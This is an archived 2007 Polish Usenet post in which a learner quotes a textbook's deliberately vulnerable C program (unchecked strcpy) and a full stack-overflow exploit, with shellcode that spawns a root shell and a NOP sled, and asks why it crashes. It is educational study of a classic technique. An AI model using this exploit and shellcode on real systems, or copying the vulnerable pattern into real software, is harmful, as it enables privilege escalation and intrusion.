🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: alt.pl.comp.os.hacking
Article #171879

Przepełnienie bufora

#171879
From: SmallTope
Date: Thu, 08 Feb 2007 09:54
98 lines
3435 bytes
Witam.
Czytam właśnie książkę "Hacking - sztuka penetracji". 
Jest tam podany przykład przepełnienia bufora...
Program podatny na przepełnienie wygląda tak:

vuln.c code

int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;


Z kolei exploit (exploit.c) wygląda tak:


#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)         // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;            // Use an offset of 0
   esp = sp();            // Put the current stack pointer into esp
   ret = esp - offset;    // We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("    Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
 buffer = malloc(600);

// Fill the entire buffer with the desired ret address
 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < 600; i+=4)
 { *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
 for(i=0; i < 200; i++)
 { buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
 ptr = buffer + 200;
 for(i=0; i < strlen(shellcode); i++)
 { *(ptr++) = shellcode[i]; }

// End the string
 buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
 execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
 free(buffer);

   return 0;
}


Według autora po kompilacji programów i wywołaniu:
$ ./exploit
Stack pointer (ESP) : 0xbffff978
   Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#

powinienem dostać powłokę.

Niestety jak widać poniżej tak się nie dzieje:

$ ./exploit
Stack pointer (ESP) : 0xbffff878
    Offset from ESP : 0x0
Desired Return Addr : 0xbffff878
Naruszenie ochrony pamięci


Nie rozumiem też tego że wartość offset w exploit.c jest równa 0.
Przecież przed buforem odłożą się jeszcze argumenty wywołania funkcji
execl("./vuln", "vuln", buffer, 0), potem bufor który sam ma długość 600...
Chyba że nie rozumiem jakiś fundamentalnych zasad - wałkuję
 to dopiero od 2 dni :)
Technical Details
Message-ID: <eqes11$tpj$1@mx1.internetia.pl>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!newsfeed.pionier.net.pl!news.internetia.pl!not-for-mail

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!newsfeed.pionier.net.pl!news.internetia.pl!not-for-mail
From: SmallTope <smalltope@_cut_this_gmail.com>
Newsgroups: alt.pl.comp.os.hacking
Subject: Przepełnienie bufora
Date: Thu, 8 Feb 2007 09:54:42 +0000 (UTC)
Organization: Netia Telekom S.A.
Lines: 98
Message-ID: <eqes11$tpj$1@mx1.internetia.pl>
NNTP-Posting-Host: gate.siemianowice.pl
Mime-Version: 1.0
X-Trace: mx1.internetia.pl 1170928482 30515 81.210.74.2 (8 Feb 2007 09:54:42 GMT)
X-Complaints-To: abuse@inetia.pl
NNTP-Posting-Date: Thu, 8 Feb 2007 09:54:42 +0000 (UTC)
X-Tech-Contact: usenet@internetia.pl
User-Agent: pan 0.119 (Karma Hunters)
X-Server-Info: http://www.internetia.pl/news/
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit